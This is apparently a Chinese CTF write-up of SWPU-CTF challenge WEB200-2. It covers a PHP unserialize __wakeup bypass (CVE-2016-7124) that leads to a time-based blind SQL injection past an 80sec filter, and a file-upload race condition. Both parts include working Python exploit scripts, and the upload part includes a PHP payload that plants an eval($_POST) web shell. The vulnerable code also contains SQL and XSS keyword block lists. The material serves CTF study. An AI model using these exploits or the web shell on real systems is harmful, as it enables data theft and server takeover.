WEB200-2

这是swpu-ctf的一道题。

  1. <?php
  2. if(isset($_GET['user'])){
  3. $login = @unserialize(base64_decode($_GET['user']));
  4. if(!empty($login->pass)){
  5. $status = $login->check_login();
  6. if($status == 1){
  7. $_SESSION['login'] = 1;
  8. var_dump("login by cookie!!!");
  9. }
  10. }
  11. }
  12.  
  13. class login{
  14. var $uid = 0;
  15. var $name="";
  16. var $pass='';
  17.  
  18. //检查用户是否已登录
  19. public function check_login(){
  20. mysql_connect('localhost','root','root') or die("connect error");
  21. mysql_selectdb('skctf');
  22. $sqls = "select * from admin where username='$this->name'";
  23. $sqls = help::CheckSql($sqls);
  24. $re = mysql_query($sqls);
  25. $results = @mysql_fetch_array($re);
  26. //echo $sqls . $results['password'];
  27. mysql_close();
  28. if (!empty($results))
  29. {
  30. if($results['password'] == $this->pass)
  31. {
  32.  
  33. return 1;
  34. }
  35. else
  36. {
  37. echo '0';
  38. return 0;
  39. }
  40. }
  41.  
  42. }
  43. //预防cookie某些破坏导致登陆失败
  44. public function __destruct(){
  45. $this->check_login();
  46. }
  47. //反序列化时检查数据
  48. public function __wakeup(){
  49. $this->name = help::addslashes_deep($this->name);
  50. $this->pass = help::addslashes_deep($this->pass);
  51. }
  52. }
  53.  
  54. class help {
  55. static function addslashes_deep($value)
  56. {
  57. if (empty($value))
  58. {
  59. return $value;
  60. }
  61. else
  62. {
  63. if (!get_magic_quotes_gpc())
  64. {
  65. $value=is_array($value) ? array_map("help::addslashes_deep", $value) : help::mystrip_tags(addslashes($value));
  66. }
  67. else
  68. {
  69. $value=is_array($value) ? array_map("help::addslashes_deep", $value) : help::mystrip_tags($value);
  70. }
  71. return $value;
  72. }
  73. }
  74. static function remove_xss($string) {
  75. $string = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $string);
  76.  
  77. $parm1 = Array('javascript', 'union','vbscript', 'expression', 'applet', 'xml', 'blink', 'link', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'base');
  78.  
  79. $parm2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload','href','action','location','background','src','poster');
  80.  
  81. $parm3 = Array('alert','sleep','load_file','confirm','prompt','benchmark','select','and','or','xor','update','insert','delete','alter','drop','truncate','script','eval','outfile','dumpfile');
  82.  
  83. $parm = array_merge($parm1, $parm2, $parm3);
  84.  
  85. for ($i = 0; $i < sizeof($parm); $i++) {
  86. $pattern = '/';
  87. for ($j = 0; $j < strlen($parm[$i]); $j++) {
  88. if ($j > 0) {
  89. $pattern .= '(';
  90. $pattern .= '(&#[x|X]0([9][a][b]);?)?';
  91. $pattern .= '|(&#0([9][10][13]);?)?';
  92. $pattern .= ')?';
  93. }
  94. $pattern .= $parm[$i][$j];
  95. }
  96. $pattern .= '/i';
  97. $string = preg_replace($pattern, '****', $string);
  98. }
  99. return $string;
  100. }
  101. static function mystrip_tags($string)
  102. {
  103. $string = help::new_html_special_chars($string);
  104. $string = help::remove_xss($string);
  105. return $string;
  106. }
  107. static function new_html_special_chars($string) {
  108. $string = str_replace(array('&', '"', '<', '>','&#'), array('&', '"', '<', '>','***'), $string);
  109. return $string;
  110. }
  111. // 实体出库
  112. static function htmlspecialchars_($value)
  113. {
  114. if (empty($value))
  115. {
  116. return $value;
  117. }
  118. else
  119. {
  120. if(is_array($value)){
  121. foreach ($value as $k => $v) {
  122. $value[$k] = self::htmlspecialchars_($v);
  123. }
  124. }else{
  125. $value = htmlspecialchars($value);
  126. }
  127. return $value;
  128. }
  129. }
  130. //sql 过滤
  131. static function CheckSql($db_string,$querytype='select')
  132. {
  133. $clean = '';
  134. $error='';
  135. $old_pos = 0;
  136. $pos = -1;
  137. if($querytype=='select')
  138. {
  139. $notallow1 = "[^0-9a-z@\._-]{1,}(load_file|outfile)[^0-9a-z@\.-]{1,}";
  140. if(preg_match("/".$notallow1."/i", $db_string))
  141. {
  142. exit("Error");
  143. }
  144. }
  145. //完整的SQL检查
  146. while (TRUE)
  147. {
  148. $pos = strpos($db_string, '\'', $pos + 1);
  149. if ($pos === FALSE)
  150. {
  151. break;
  152. }
  153. $clean .= substr($db_string, $old_pos, $pos - $old_pos);
  154. while (TRUE)
  155. {
  156. $pos1 = strpos($db_string, '\'', $pos + 1);
  157. $pos2 = strpos($db_string, '\\', $pos + 1);
  158. if ($pos1 === FALSE)
  159. {
  160. break;
  161. }
  162. elseif ($pos2 == FALSE || $pos2 > $pos1)
  163. {
  164. $pos = $pos1;
  165. break;
  166. }
  167. $pos = $pos2 + 1;
  168. }
  169. $clean .= '$s$';
  170. $old_pos = $pos + 1;
  171. }
  172. $clean .= substr($db_string, $old_pos);
  173. $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
  174. if (strpos($clean, '@') !== FALSE OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE
  175. OR strpos($clean,'$s$$s$')!== FALSE)
  176. {
  177. $fail = TRUE;
  178. if(preg_match("#^create table#i",$clean)) $fail = FALSE;
  179. $error="unusual character";
  180. }
  181. elseif (strpos($clean, '/*') !== FALSE ||strpos($clean, '-- ') !== FALSE || strpos($clean, '#') !== FALSE)
  182. {
  183. $fail = TRUE;
  184. $error="comment detect";
  185. }
  186. elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~is', $clean) != 0)
  187. {
  188. $fail = TRUE;
  189. $error="slown down detect";
  190. }
  191. elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~is', $clean) != 0)
  192. {
  193. $fail = TRUE;
  194. $error="slown down detect";
  195. }
  196. elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~is', $clean) != 0)
  197. {
  198. $fail = TRUE;
  199. $error="file fun detect";
  200. }
  201. elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~is', $clean) != 0)
  202. {
  203. $fail = TRUE;
  204. $error="file fun detect";
  205. }
  206. if (!empty($fail))
  207. {
  208. exit("Error" . $error);
  209. }
  210. else
  211. {
  212. return $db_string;
  213. }
  214. }
  215. }
  216.  
  217. ?>

从代码逻辑可以看到从Cookie里取user的值,然后base64_decode,然后反序列化到login这个类,反序列化之后先执行__wakeup(),然后执行__destruct()

其中在__wakeup()里可以看到几乎过滤了全部注入/XSS的关键词(用的是80sec的正则)。这里可以利用php5.6以下的版本是有一漏洞的,CVE-2016-7124

当序列化之后的字符串定义的的元素个数与实际个数不符合的时候(定义个数大于实际个数),__wakeup()将不会执行。__destruct()函数会调用check_login(),进入check_login函数。其中$name存在注入,也就是反序列化导致变量覆盖。但是$sqls = help::CheckSql($sqls);存在80sec的过滤。百度找了下payload:admin' and (select 1 from flag where ascii(mid(flag,1,1))=33) and (`'`.``.username=1 or sleep(3)) #即可绕过。

将属性的数量改为5,即可绕过__wakeup()

写个脚本跑:

  1. import requests
  2. import time
  3. #绕过80sec的payload
  4. #select * from admin where username='admin' and (select 1 from admin where ascii(mid(password,1,1))=53) and (`'`.``.username=1 or sleep(3)) #'
  5. def base64(s):
  6. import base64
  7. return base64.b64encode(s)
  8. url = "http://127.0.0.1/ctf/test.php"
  9. flag = ""
  10. for i in range(1,40):
  11. for j in range(33,125):
  12. payload = "admin' and (select 1 from admin where ascii(mid(password,%d,1))=%d) and (`'`.``.username=1 or sleep(5)) #"% (i,j)
  13. payload_len = len(payload)
  14. serialize_str = '''O:5:"login":5:{s:4:"name";s:%d:"%s";s:4:"pass";s:32:"21232f297a57a5a743894a0e4a801fc3";}''' % (payload_len,payload)
  15. headers = {
  16. 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36',
  17. 'Cookie': 'user='+base64(serialize_str)
  18. }
  19. print payload
  20. start = time.time()
  21. requests.get(url,headers=headers)
  22. end = time.time()
  23. exec_time = end-start
  24. if exec_time > 5:
  25. flag += chr(j)
  26. print i,flag
  27. break

最终拿到密码:

写如下payload拿到flag:

文件上传时间竞争的例子:

源码:

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>upload</title>
  6. </head>
  7. <body>
  8. <form action="test.php" method="post" enctype="multipart/form-data">
  9. 选择文件:<input type="file" name="file">
  10. <input type="submit" value="上传文件">
  11. </form>>
  12. </body>
  13. </html>
  14.  
  15. <?php
  16.  
  17. $allowtype = array("gif","png","jpg");
  18. $size = 10000000;
  19. $path = "./";
  20.  
  21. $filename = $_FILES['file']['name'];
  22.  
  23. if(is_uploaded_file($_FILES['file']['tmp_name'])){
  24. if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
  25. die("error:can not move");
  26. }
  27. }else{
  28. die("error:not an upload file!");
  29. }
  30. $newfile = $path.$filename;
  31. echo "file upload success.file path is: ".$newfile."\n<br />";
  32.  
  33. if($_FILES['file']['error']>0){
  34. unlink($newfile);
  35. die("Upload file error: ");
  36. }
  37. $ext = array_pop(explode(".",$_FILES['file']['name']));
  38. if(!in_array($ext,$allowtype)){
  39. unlink($newfile);
  40. die("error:upload the file type is not allowed,delete the file!");
  41. }

首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,我们的利用思路是这样的,首先上传一个 1.php 文件,内容为:

<?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["afanti"]) ?>'); ?>

当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的 php 文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个 shell。利用代码如下:

  1. import os
  2. import requests
  3. import threading
  4. class RaceCondition(threading.Thread):
  5. def __init__(self):
  6. threading.Thread.__init__(self)
  7. self.url = "http://127.0.0.1/ctf/1.php"
  8. self.uploadUrl = "http://127.0.0.1/ctf/test.php"
  9.  
  10. def _get(self):
  11. print('try to call uploaded file...')
  12. r = requests.get(self.url)
  13. if r.status_code == 200:
  14. print("[*]create file info.php success")
  15. os._exit(0)
  16.  
  17. def _upload(self):
  18. print("upload file.....")
  19. file = {"file":open("1.php","r")}
  20. requests.post(self.uploadUrl, files=file)
  21.  
  22. def run(self):
  23. while True:
  24. for i in range(5):
  25. self._get()
  26. for i in range(10):
  27. self._upload()
  28. self._get()
  29.  
  30. if __name__ == "__main__":
  31. threads = 20
  32.  
  33. for i in range(threads):
  34. t = RaceCondition()
  35. t.start()
  36.  
  37. for i in range(threads):
  38. t.join()

多运行脚本几次,就会成功上传shell.

参考链接:

https://blog.l1n3.net/writeup/swpu_ctf_2016_writeup/

ctf经典好题复习的更多相关文章

  1. 经典算法题每日演练——第十七题 Dijkstra算法

    原文:经典算法题每日演练--第十七题 Dijkstra算法 或许在生活中,经常会碰到针对某一个问题,在众多的限制条件下,如何去寻找一个最优解?可能大家想到了很多诸如“线性规划”,“动态规划” 这些经典 ...

  2. 经典算法题每日演练——第十六题 Kruskal算法

    原文:经典算法题每日演练--第十六题 Kruskal算法 这篇我们看看第二种生成树的Kruskal算法,这个算法的魅力在于我们可以打一下算法和数据结构的组合拳,很有意思的. 一:思想 若存在M={0, ...

  3. 经典算法题每日演练——第十四题 Prim算法

    原文:经典算法题每日演练--第十四题 Prim算法 图论在数据结构中是非常有趣而复杂的,作为web码农的我,在实际开发中一直没有找到它的使用场景,不像树那样的频繁使用,不过还是准备 仔细的把图论全部过 ...

  4. 经典算法题每日演练——第十一题 Bitmap算法

    原文:经典算法题每日演练--第十一题 Bitmap算法 在所有具有性能优化的数据结构中,我想大家使用最多的就是hash表,是的,在具有定位查找上具有O(1)的常量时间,多么的简洁优美, 但是在特定的场 ...

  5. 经典算法题每日演练——第八题 AC自动机

    原文:经典算法题每日演练--第八题 AC自动机 上一篇我们说了单模式匹配算法KMP,现在我们有需求了,我要检查一篇文章中是否有某些敏感词,这其实就是多模式匹配的问题. 当然你也可以用KMP算法求出,那 ...

  6. 经典算法题每日演练——第六题 协同推荐SlopeOne 算法

    原文:经典算法题每日演练--第六题 协同推荐SlopeOne 算法 相信大家对如下的Category都很熟悉,很多网站都有类似如下的功能,“商品推荐”,"猜你喜欢“,在实体店中我们有导购来为 ...

  7. 经典算法题每日演练——第七题 KMP算法

    原文:经典算法题每日演练--第七题 KMP算法 在大学的时候,应该在数据结构里面都看过kmp算法吧,不知道有多少老师对该算法是一笔带过的,至少我们以前是的, 确实kmp算法还是有点饶人的,如果说红黑树 ...

  8. Noip前的大抱佛脚----Noip真题复习

    Noip前的大抱佛脚----Noip真题复习 Tags: Noip前的大抱佛脚 Noip2010 题目不难,但是三个半小时的话要写四道题还是需要码力,不过按照现在的实力应该不出意外可以AK的. 机器翻 ...

  9. [经典算法题]寻找数组中第K大的数的方法总结

    [经典算法题]寻找数组中第K大的数的方法总结 责任编辑:admin 日期:2012-11-26   字体:[大 中 小] 打印复制链接我要评论   今天看算法分析是,看到一个这样的问题,就是在一堆数据 ...

随机推荐

  1. Cheatsheet: 2017 07.01 ~ 07.31

    Other 8 Key Application Performance Metrics & How to Measure Them The Code Review: The Most Impo ...

  2. JAVA工具系列之——Postman

    1 概述 Postman是一款测试rest接口的工具,可以实现前端未实施的情况下,后端同步开发.本文从部署到运用进行展开描写. 2 部署 第一步:进入Postman官网下载最新版本,下载链接 第二步: ...

  3. bnu 被诅咒的代码

    http://www.bnuoj.com/bnuoj/problem_show.php?pid=10792 被诅咒的代码 Time Limit: 1000ms Memory Limit: 65536K ...

  4. 获取java根目录,加载根目录下的文件

    就两句代码 String filepath = System.getProperty("user.dir")+"/a.xlsx"; File file=new ...

  5. 可持久化trie(BZOJ5338: [TJOI2018]xor)

    题面 BZOJ Sol 显然是要维护一个区域的 \(trie\) 树,然后贪心 区间 \(trie\) 树??? 可持久化 \(trie\) 树??? 直接参考主席树表示出区间的方法建立 \(trie ...

  6. BootstrapValidator超详细教程

    一.引入必要文件 下载地址:(https://github.com/nghuuphuoc/bootstrapvalidator/archive/v0.4.5.zip) <link rel=&qu ...

  7. Web开发须知的浏览器内幕 缓存与存储篇(2)

    本文禁止转载,由UC浏览器内部出品. 3. HTTP Cache 综述 HTTP Cache是完全按照IETF规范实现的,最新的RFC规范地址是 https://tools.ietf.org/html ...

  8. Angular1.x 基础总结

    官方文档:Guide to AngularJS Documentation   w3shools    angularjs教程  wiki   <AngularJS权威教程> Introd ...

  9. vue知识点之day5

    vuex是解决多层父子关系传值的问题,减少了传值的复杂度 vue+webpack安装图示

  10. 【SQL server 2012】复制数据库到另一台机器上

    当需要将一台机器(源机器)上的一个数据库完全复制到另一台机器(目标机器)上时,可以选择先在源机器上备份该数据库,然后在目标机器上还原该备份的方法. 下面详细描述具体步骤: 1. 打开SQL serve ...